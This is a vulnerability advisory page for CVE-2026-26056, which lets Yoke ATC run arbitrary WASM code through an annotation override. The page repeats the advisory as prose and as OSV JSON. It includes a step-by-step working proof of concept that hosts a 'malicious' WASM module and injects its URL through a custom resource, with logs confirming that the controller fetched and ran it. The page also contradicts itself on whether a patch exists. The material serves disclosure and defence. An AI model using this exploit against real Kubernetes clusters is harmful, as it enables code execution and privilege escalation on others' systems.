CVE-2026-26056: Github.com/yokecd/yoke Arbitrary WASM Code Execution Vulnerability

HIGH
Advisory Identifier: GHSA-wj8p-jj64-h7ff
CVSS 8.8
CWE-94
Published
Advisory Summary

CVE-2026-26056 is a HIGH (CVSS 8.8) arbitrary wasm code execution vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting Github.com/yokecd/yoke libraries in the Go ecosystem. The issue involves arbitrary wasm code execution via annotationoverrideflight injection in yoke atc. Remediation is available in the latest vendor maintenance releases.

CVE-2026-26056 at a Glance

CVE Identifier CVE-2026-26056
GHSA Identifier GHSA-wj8p-jj64-h7ff
Severity HIGH
CVSS v3.1 Base Score 8.8
CWE Classification CWE-94: Improper Control of Generation of Code ('Code Injection')
Affected Product Github.com/yokecd/yoke
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 8.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-26056

To remediate this vulnerability, upgrade all affected Github.com/yokecd/yoke dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/yokecd/yoke fixed: Latest secure release
Upgrade github.com/yokecd/yoke to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/yokecd/yoke

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-26056, inspect your project dependencies for Github.com/yokecd/yoke:

inspect dependencies for github.com/yokecd/yoke

Analyze the terminal output to locate any version of Github.com/yokecd/yoke in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In Github.com/yokecd/yoke, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

# Arbitrary WASM Code Execution via AnnotationOverrideFlight Injection in Yoke ATC This vulnerability exists in the Air Traffic Controller (ATC) component of Yoke, a Kubernetes deployment tool. It allows users with CR create/update permissions to execute arbitrary WASM code in the ATC controller context by injecting a malicious URL through the `overrides.yoke.cd/flight` annotation. The ATC controller downloads and executes the WASM module without proper URL validation, enabling attackers to create arbitrary Kubernetes resources or potentially escalate privileges to cluster-admin level. **Recommended CWE**: CWE-94 (Improper Control of Generation of Code - Code Injection) ## Summary Yoke ATC allows users to override the Flight WASM module URL via the `overrides.yoke.cd/flight` annotation on Custom Resources. The controller only checks if the user has `update` permission on `airways` resources but does not validate the WASM URL source. An attacker with CR create/update permissions can inject a malicious WASM URL, causing the ATC controller to download and execute arbitrary code. ## Details The vulnerability exists in two code paths: **Source Point - Annotation Definition** (`pkg/flight/flight.go:41-42`): ```go const ( AnnotationOverrideFlight = "overrides.yoke.cd/flight" AnnotationOverrideMode = "overrides.yoke.cd/mode" ) ``` **Sink Point 1 - Admission Webhook** (`cmd/atc/handler.go:298-300`): ```go if overrideURL, _, _ := unstructured.NestedString(cr.Object, "metadata", "annotations", flight.AnnotationOverrideFlight); overrideURL != "" { xhttp.AddRequestAttrs(r.Context(), slog.Group("overrides", "flight", overrideURL)) takeoffParams.Flight.Path = overrideURL // User-provided URL used directly } ``` **Sink Point 2 - Reconciler** (`internal/atc/reconciler_instance.go:264-269`): ```go if overrideURL, _, _ := unstructured.NestedString(resource.Object, "metadata", "annotations", flight.AnnotationOverrideFlight); overrideURL != "" { ctrl.Logger(ctx).Warn("using override module", "url", overrideURL) // Simply set the override URL as the flight path and let yoke load and execute the wasm module takeoffParams.Flight.Path = overrideURL // User-provided URL used directly without validation } ``` The permission check at `cmd/atc/handler.go:160-177` only verifies `update` permission on `airways` resources, not the ability to execute arbitrary WASM code: ```go accessReview, err := params.Client.Clientset.AuthorizationV1().SubjectAccessReviews().Create( r.Context(), &authorizationv1.SubjectAccessReview{ Spec: authorizationv1.SubjectAccessReviewSpec{ ResourceAttributes: &authorizationv1.ResourceAttributes{ Verb: "update", Group: "yoke.cd", Version: "v1alpha1", Resource: "airways", // Only checks airway update permission }, }, }, ) ``` ## PoC ### Environment Setup **Prerequisites**: - Docker installed and running - kubectl installed - Go 1.21+ installed - kind installed **Step 1: Create Kind cluster** ```bash cat > /tmp/kind-config.yaml << 'EOF' kind: Cluster apiVersion: kind.x-k8s.io/v1alpha4 name: yoke-vuln-test nodes: - role: control-plane EOF kind create cluster --config /tmp/kind-config.yaml ``` **Step 2: Build and install Yoke CLI** ```bash # Clone yoke repository git clone https://github.com/yokecd/yoke.git cd yoke # Build yoke CLI (patch version if needed for compatibility) GOPROXY=direct GOSUMDB=off go build -o /tmp/yoke ./cmd/yoke # Verify installation /tmp/yoke version ``` Expected output: ``` ╭───────────────────────────────┬──────────╮ │ yoke │ v0.18.0 │ │ toolchain │ go1.25.6 │ │ k8s.io/client-go │ v0.34.1 │ │ github.com/tetratelabs/wazero │ v1.6.0 │ ╰───────────────────────────────┴──────────╯ ``` **Step 3: Deploy ATC** ```bash /tmp/yoke takeoff --create-namespace --namespace atc -wait 120s atc oci://ghcr.io/yokecd/atc-installer:latest ``` Expected output: ``` Cluster-access not granted: enable cluster-access to reuse existing TLS certificates. Generating TLS certificates, this may take a second... Finished generating TLS certificates. --- successful takeoff of atc ``` **Step 4: Verify ATC deployment and permissions** ```bash kubectl get pods -n atc kubectl get clusterrolebinding | grep atc ``` Expected output: ``` NAME READY STATUS RESTARTS AGE atc-atc-6d4bcb7665-wvqkt 1/1 Running 0 22s atc-atc-cluster-role-binding ClusterRole/cluster-admin 22s ``` **Step 5: Deploy Backend Airway example** ```bash /tmp/yoke takeoff -wait 60s backendairway "https://github.com/yokecd/examples/releases/download/latest/atc_backend_airway.wasm.gz" ``` Expected output: ``` successful takeoff of backendairway ``` ### Exploitation Steps **Step 1: Create malicious WASM module** Create `malicious-wasm.go`: ```go // Malicious WASM module for VUL-001 vulnerability verification package main import ( "encoding/json" "fmt" ) func main() { // Create a ConfigMap to prove arbitrary code execution resource := map[string]interface{}{ "apiVersion": "v1", "kind": "ConfigMap", "metadata": map[string]interface{}{ "name": "stolen-credentials", "namespace": "default", "labels": map[string]string{ "vulnerability": "VUL-001", "type": "exfiltrated-token", }, }, "data": map[string]string{ "vulnerability": "VUL-001: AnnotationOverrideFlight Injection allows arbitrary WASM execution", "proof": "This ConfigMap was created by malicious WASM code", }, } resources := []interface{}{resource} output, _ := json.Marshal(resources) fmt.Println(string(output)) } ``` Compile to WASM: ```bash GOOS=wasip1 GOARCH=wasm go build -o malicious.wasm ./malicious-wasm.go ``` **Step 2: Host malicious WASM** ```bash python3 -m http.server 8888 & ``` **Step 3: Get host IP accessible from Kind cluster** ```bash HOST_IP=$(ip addr show docker0 | grep 'inet ' | awk '{print $2}' | cut -d/ -f1) echo "Malicious WASM URL: http://${HOST_IP}:8888/malicious.wasm" ``` **Step 4: Create malicious Backend CR** ```bash MALICIOUS_URL="http://${HOST_IP}:8888/malicious.wasm" kubectl apply -f - <<EOF apiVersion: examples.com/v1 kind: Backend metadata: name: malicious-backend namespace: default annotations: overrides.yoke.cd/flight: "${MALICIOUS_URL}" spec: image: nginx:latest replicas: 1 EOF ``` Expected output: ``` backend.examples.com/malicious-backend created ``` **Step 5: Verify exploitation** Check ATC logs: ```bash kubectl logs -n atc deployment/atc-atc | grep -i "override\|malicious" ``` Actual log output from verification: ```json {"time":"2026-02-01T13:58:30.4998068Z","level":"INFO","msg":"request served","component":"server","code":200,"method":"POST","path":"/validations/backends.examples.com","elapsed":"375ms","overrides":{"flight":"http://172.17.0.1:8888/malicious.wasm"},"validation":{"allowed":true,"status":""}} {"time":"2026-02-01T13:56:33.826710613Z","level":"WARN","msg":"using override module","component":"controller","url":"http://172.17.0.1:8888/malicious.wasm"} ``` Check HTTP server logs (shows WASM download): ``` 172.18.0.2 - - [01/Feb/2026 21:55:58] "GET /malicious.wasm HTTP/1.1" 200 - 172.18.0.2 - - [01/Feb/2026 21:56:32] "GET /malicious.wasm HTTP/1.1" 200 - 172.18.0.2 - - [01/Feb/2026 21:56:33] "GET /malicious.wasm HTTP/1.1" 200 - ``` Check created ConfigMap: ```bash kubectl get configmap stolen-credentials -n default -o yaml ``` Actual output from verification: ```yaml apiVersion: v1 kind: ConfigMap metadata: name: stolen-credentials namespace: default labels: vulnerability: VUL-001 type: exfiltrated-token app.kubernetes.io/managed-by: atc.yoke instance.atc.yoke.cd/name: malicious-backend-v2 data: vulnerability: 'VUL-001: AnnotationOverrideFlight Injection allows arbitrary WASM execution' ``` ### Expected Result The malicious WASM module is downloaded and executed by the ATC controller, creating a ConfigMap named `stolen-credentials` in the cluster. This proves arbitrary code execution in the ATC controller context. ## Impact **Vulnerability Type**: Remote Code Execution (RCE) / Code Injection **Attack Prerequisites**: - Attacker has permission to create/update Custom Resources managed by Yoke ATC - Network access to host malicious WASM (can be external URL) **Impact Assessment**: - **Confidentiality**: High - Attacker can create resources to exfiltrate data; if ClusterAccess is enabled, can read cluster secrets via host functions - **Integrity**: High - Attacker can create/modify arbitrary Kubernetes resources through WASM output - **Availability**: Medium - Attacker can disrupt cluster operations by creating malicious resources **Attack Scenario**: 1. CI/CD developer or application developer with CR permissions creates a Backend CR with malicious annotation 2. ATC controller downloads and executes attacker-controlled WASM 3. Malicious WASM creates backdoor resources or exfiltrates sensitive data 4. If ClusterAccess is enabled, attacker can read secrets and escalate to cluster-admin ## Severity **CVSS v3.1 Score**: 8.8 (High) **Vector**: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Attack Vector (AV): Network - Malicious WASM can be hosted externally - Attack Complexity (AC): Low - Simple annotation injection - Privileges Required (PR): Low - Only CR create/update permission needed - User Interaction (UI): None - Automatic execution on CR creation - Scope (S): Unchanged - Impact within ATC controller context - Confidentiality (C): High - Can access controller context data - Integrity (I): High - Can create arbitrary resources - Availability (A): High - Can disrupt cluster operations ## Affected Versions - Yoke ATC v0.18.x and earlier versions - All versions that support the `overrides.yoke.cd/flight` annotation ## Patched Versions No patch available at time of disclosure. ## Workarounds 1. **Disable annotation override feature**: Remove or disable the `overrides.yoke.cd/flight` annotation processing in production environments 2. **Network policy**: Restrict ATC controller's outbound network access to prevent downloading external WASM modules 3. **RBAC hardening**: Limit CR create/update permissions to trusted users only 4. **Admission webhook**: Deploy a validating webhook to reject CRs with `overrides.yoke.cd/flight` annotations ## References - Yoke Project: https://github.com/yokecd/yoke - Yoke ATC Documentation: https://yokecd.github.io/docs/airtrafficcontroller/atc/ - CWE-94: Improper Control of Generation of Code: https://cwe.mitre.org/data/definitions/94.html ## Credits credit for: @b0b0haha (603571786@qq.com) @lixingquzhi (mayedoushidalao@163.com)

CVE-2026-26056 Affected Github.com/yokecd/yoke Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
github.com/yokecd/yoke
Go
≤ 0.19.0

References

Frequently Asked Questions

What is CVE-2026-26056?
CVE-2026-26056 is a security vulnerability in Github.com/yokecd/yoke involving Arbitrary WASM Code Execution via AnnotationOverrideFlight Injection in Yoke ATC under CWE-94: Improper Control of Generation of Code ('Code Injection').
Which Github.com/yokecd/yoke versions are affected?
Affected versions include releases prior to current release patches across affected packages: github.com/yokecd/yoke.
What version fixes CVE-2026-26056?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/yokecd/yoke affected?
Yes, github.com/yokecd/yoke is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-26056?
CVE-2026-26056 has a CVSS v3.1 base score of 8.8 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-26056?
CVE-2026-26056 is classified under CWE-94: Improper Control of Generation of Code ('Code Injection') (The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.).
How can I check Go dependencies for CVE-2026-26056?
Run the dependency tree command: 'inspect dependencies for github.com/yokecd/yoke'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-wj8p-jj64-h7ff",
  "modified" : "2026-02-13T17:15:43Z",
  "published" : "2026-02-12T22:06:45Z",
  "aliases" : [ "CVE-2026-26056" ],
  "summary" : "Arbitrary WASM Code Execution via AnnotationOverrideFlight Injection in Yoke ATC",
  "details" : "# Arbitrary WASM Code Execution via AnnotationOverrideFlight Injection in Yoke ATC\n\nThis vulnerability exists in the Air Traffic Controller (ATC) component of Yoke, a Kubernetes deployment tool. It allows users with CR create/update permissions to execute arbitrary WASM code in the ATC controller context by injecting a malicious URL through the `overrides.yoke.cd/flight` annotation. The ATC controller downloads and executes the WASM module without proper URL validation, enabling attackers to create arbitrary Kubernetes resources or potentially escalate privileges to cluster-admin level.\n\n**Recommended CWE**: CWE-94 (Improper Control of Generation of Code - Code Injection)\n\n## Summary\n\nYoke ATC allows users to override the Flight WASM module URL via the `overrides.yoke.cd/flight` annotation on Custom Resources. The controller only checks if the user has `update` permission on `airways` resources but does not validate the WASM URL source. An attacker with CR create/update permissions can inject a malicious WASM URL, causing the ATC controller to download and execute arbitrary code.\n\n## Details\n\nThe vulnerability exists in two code paths:\n\n**Source Point - Annotation Definition** (`pkg/flight/flight.go:41-42`):\n```go\nconst (\n    AnnotationOverrideFlight = \"overrides.yoke.cd/flight\"\n    AnnotationOverrideMode   = \"overrides.yoke.cd/mode\"\n)\n```\n\n**Sink Point 1 - Admission Webhook** (`cmd/atc/handler.go:298-300`):\n```go\nif overrideURL, _, _ := unstructured.NestedString(cr.Object, \"metadata\", \"annotations\", flight.AnnotationOverrideFlight); overrideURL != \"\" {\n    xhttp.AddRequestAttrs(r.Context(), slog.Group(\"overrides\", \"flight\", overrideURL))\n    takeoffParams.Flight.Path = overrideURL  // User-provided URL used directly\n}\n```\n\n**Sink Point 2 - Reconciler** (`internal/atc/reconciler_instance.go:264-269`):\n```go\nif overrideURL, _, _ := unstructured.NestedString(resource.Object, \"metadata\", \"annotations\", flight.AnnotationOverrideFlight); overrideURL != \"\" {\n    ctrl.Logger(ctx).Warn(\"using override module\", \"url\", overrideURL)\n    // Simply set the override URL as the flight path and let yoke load and execute the wasm module\n    takeoffParams.Flight.Path = overrideURL  // User-provided URL used directly without validation\n}\n```\n\nThe permission check at `cmd/atc/handler.go:160-177` only verifies `update` permission on `airways` resources, not the ability to execute arbitrary WASM code:\n```go\naccessReview, err := params.Client.Clientset.AuthorizationV1().SubjectAccessReviews().Create(\n    r.Context(),\n    &authorizationv1.SubjectAccessReview{\n        Spec: authorizationv1.SubjectAccessReviewSpec{\n            ResourceAttributes: &authorizationv1.ResourceAttributes{\n                Verb:     \"update\",\n                Group:    \"yoke.cd\",\n                Version:  \"v1alpha1\",\n                Resource: \"airways\",  // Only checks airway update permission\n            },\n        },\n    },\n)\n```\n\n## PoC\n\n### Environment Setup\n\n**Prerequisites**:\n- Docker installed and running\n- kubectl installed\n- Go 1.21+ installed\n- kind installed\n\n**Step 1: Create Kind cluster**\n```bash\ncat > /tmp/kind-config.yaml << 'EOF'\nkind: Cluster\napiVersion: kind.x-k8s.io/v1alpha4\nname: yoke-vuln-test\nnodes:\n- role: control-plane\nEOF\n\nkind create cluster --config /tmp/kind-config.yaml\n```\n\n**Step 2: Build and install Yoke CLI**\n```bash\n# Clone yoke repository\ngit clone https://github.com/yokecd/yoke.git\ncd yoke\n\n# Build yoke CLI (patch version if needed for compatibility)\nGOPROXY=direct GOSUMDB=off go build -o /tmp/yoke ./cmd/yoke\n\n# Verify installation\n/tmp/yoke version\n```\n\nExpected output:\n```\n╭───────────────────────────────┬──────────╮\n│ yoke                          │ v0.18.0  │\n│ toolchain                     │ go1.25.6 │\n│ k8s.io/client-go              │ v0.34.1  │\n│ github.com/tetratelabs/wazero │ v1.6.0   │\n╰───────────────────────────────┴──────────╯\n```\n\n**Step 3: Deploy ATC**\n```bash\n/tmp/yoke takeoff --create-namespace --namespace atc -wait 120s atc oci://ghcr.io/yokecd/atc-installer:latest\n```\n\nExpected output:\n```\nCluster-access not granted: enable cluster-access to reuse existing TLS certificates.\nGenerating TLS certificates, this may take a second...\nFinished generating TLS certificates.\n---\nsuccessful takeoff of atc\n```\n\n**Step 4: Verify ATC deployment and permissions**\n```bash\nkubectl get pods -n atc\nkubectl get clusterrolebinding | grep atc\n```\n\nExpected output:\n```\nNAME                       READY   STATUS    RESTARTS   AGE\natc-atc-6d4bcb7665-wvqkt   1/1     Running   0          22s\n\natc-atc-cluster-role-binding   ClusterRole/cluster-admin   22s\n```\n\n**Step 5: Deploy Backend Airway example**\n```bash\n/tmp/yoke takeoff -wait 60s backendairway \"https://github.com/yokecd/examples/releases/download/latest/atc_backend_airway.wasm.gz\"\n```\n\nExpected output:\n```\nsuccessful takeoff of backendairway\n```\n\n### Exploitation Steps\n\n**Step 1: Create malicious WASM module**\n\nCreate `malicious-wasm.go`:\n```go\n// Malicious WASM module for VUL-001 vulnerability verification\npackage main\n\nimport (\n    \"encoding/json\"\n    \"fmt\"\n)\n\nfunc main() {\n    // Create a ConfigMap to prove arbitrary code execution\n    resource := map[string]interface{}{\n        \"apiVersion\": \"v1\",\n        \"kind\":       \"ConfigMap\",\n        \"metadata\": map[string]interface{}{\n            \"name\":      \"stolen-credentials\",\n            \"namespace\": \"default\",\n            \"labels\": map[string]string{\n                \"vulnerability\": \"VUL-001\",\n                \"type\":          \"exfiltrated-token\",\n            },\n        },\n        \"data\": map[string]string{\n            \"vulnerability\": \"VUL-001: AnnotationOverrideFlight Injection allows arbitrary WASM execution\",\n            \"proof\":         \"This ConfigMap was created by malicious WASM code\",\n        },\n    }\n\n    resources := []interface{}{resource}\n    output, _ := json.Marshal(resources)\n    fmt.Println(string(output))\n}\n```\n\nCompile to WASM:\n```bash\nGOOS=wasip1 GOARCH=wasm go build -o malicious.wasm ./malicious-wasm.go\n```\n\n**Step 2: Host malicious WASM**\n```bash\npython3 -m http.server 8888 &\n```\n\n**Step 3: Get host IP accessible from Kind cluster**\n```bash\nHOST_IP=$(ip addr show docker0 | grep 'inet ' | awk '{print $2}' | cut -d/ -f1)\necho \"Malicious WASM URL: http://${HOST_IP}:8888/malicious.wasm\"\n```\n\n**Step 4: Create malicious Backend CR**\n```bash\nMALICIOUS_URL=\"http://${HOST_IP}:8888/malicious.wasm\"\n\nkubectl apply -f - <<EOF\napiVersion: examples.com/v1\nkind: Backend\nmetadata:\n  name: malicious-backend\n  namespace: default\n  annotations:\n    overrides.yoke.cd/flight: \"${MALICIOUS_URL}\"\nspec:\n  image: nginx:latest\n  replicas: 1\nEOF\n```\n\nExpected output:\n```\nbackend.examples.com/malicious-backend created\n```\n\n**Step 5: Verify exploitation**\n\nCheck ATC logs:\n```bash\nkubectl logs -n atc deployment/atc-atc | grep -i \"override\\|malicious\"\n```\n\nActual log output from verification:\n```json\n{\"time\":\"2026-02-01T13:58:30.4998068Z\",\"level\":\"INFO\",\"msg\":\"request served\",\"component\":\"server\",\"code\":200,\"method\":\"POST\",\"path\":\"/validations/backends.examples.com\",\"elapsed\":\"375ms\",\"overrides\":{\"flight\":\"http://172.17.0.1:8888/malicious.wasm\"},\"validation\":{\"allowed\":true,\"status\":\"\"}}\n{\"time\":\"2026-02-01T13:56:33.826710613Z\",\"level\":\"WARN\",\"msg\":\"using override module\",\"component\":\"controller\",\"url\":\"http://172.17.0.1:8888/malicious.wasm\"}\n```\n\nCheck HTTP server logs (shows WASM download):\n```\n172.18.0.2 - - [01/Feb/2026 21:55:58] \"GET /malicious.wasm HTTP/1.1\" 200 -\n172.18.0.2 - - [01/Feb/2026 21:56:32] \"GET /malicious.wasm HTTP/1.1\" 200 -\n172.18.0.2 - - [01/Feb/2026 21:56:33] \"GET /malicious.wasm HTTP/1.1\" 200 -\n```\n\nCheck created ConfigMap:\n```bash\nkubectl get configmap stolen-credentials -n default -o yaml\n```\n\nActual output from verification:\n```yaml\napiVersion: v1\nkind: ConfigMap\nmetadata:\n  name: stolen-credentials\n  namespace: default\n  labels:\n    vulnerability: VUL-001\n    type: exfiltrated-token\n    app.kubernetes.io/managed-by: atc.yoke\n    instance.atc.yoke.cd/name: malicious-backend-v2\ndata:\n  vulnerability: 'VUL-001: AnnotationOverrideFlight Injection allows arbitrary WASM execution'\n```\n\n### Expected Result\n\nThe malicious WASM module is downloaded and executed by the ATC controller, creating a ConfigMap named `stolen-credentials` in the cluster. This proves arbitrary code execution in the ATC controller context.\n\n## Impact\n\n**Vulnerability Type**: Remote Code Execution (RCE) / Code Injection\n\n**Attack Prerequisites**:\n- Attacker has permission to create/update Custom Resources managed by Yoke ATC\n- Network access to host malicious WASM (can be external URL)\n\n**Impact Assessment**:\n- **Confidentiality**: High - Attacker can create resources to exfiltrate data; if ClusterAccess is enabled, can read cluster secrets via host functions\n- **Integrity**: High - Attacker can create/modify arbitrary Kubernetes resources through WASM output\n- **Availability**: Medium - Attacker can disrupt cluster operations by creating malicious resources\n\n**Attack Scenario**:\n1. CI/CD developer or application developer with CR permissions creates a Backend CR with malicious annotation\n2. ATC controller downloads and executes attacker-controlled WASM\n3. Malicious WASM creates backdoor resources or exfiltrates sensitive data\n4. If ClusterAccess is enabled, attacker can read secrets and escalate to cluster-admin\n\n## Severity\n\n**CVSS v3.1 Score**: 8.8 (High)\n\n**Vector**: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n- Attack Vector (AV): Network - Malicious WASM can be hosted externally\n- Attack Complexity (AC): Low - Simple annotation injection\n- Privileges Required (PR): Low - Only CR create/update permission needed\n- User Interaction (UI): None - Automatic execution on CR creation\n- Scope (S): Unchanged - Impact within ATC controller context\n- Confidentiality (C): High - Can access controller context data\n- Integrity (I): High - Can create arbitrary resources\n- Availability (A): High - Can disrupt cluster operations\n\n## Affected Versions\n\n- Yoke ATC v0.18.x and earlier versions\n- All versions that support the `overrides.yoke.cd/flight` annotation\n\n## Patched Versions\n\nNo patch available at time of disclosure.\n\n## Workarounds\n\n1. **Disable annotation override feature**: Remove or disable the `overrides.yoke.cd/flight` annotation processing in production environments\n\n2. **Network policy**: Restrict ATC controller's outbound network access to prevent downloading external WASM modules\n\n3. **RBAC hardening**: Limit CR create/update permissions to trusted users only\n\n4. **Admission webhook**: Deploy a validating webhook to reject CRs with `overrides.yoke.cd/flight` annotations\n\n## References\n\n- Yoke Project: https://github.com/yokecd/yoke\n- Yoke ATC Documentation: https://yokecd.github.io/docs/airtrafficcontroller/atc/\n- CWE-94: Improper Control of Generation of Code: https://cwe.mitre.org/data/definitions/94.html\n\n## Credits\n\ncredit for:\n@b0b0haha (603571786@qq.com)\n@lixingquzhi (mayedoushidalao@163.com)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/yokecd/yoke"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "0.19.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/yokecd/yoke/security/advisories/GHSA-wj8p-jj64-h7ff"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-26056"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/yokecd/yoke"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-94" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-12T22:06:45Z",
    "nvd_published_at" : "2026-02-12T22:16:06Z"
  }
}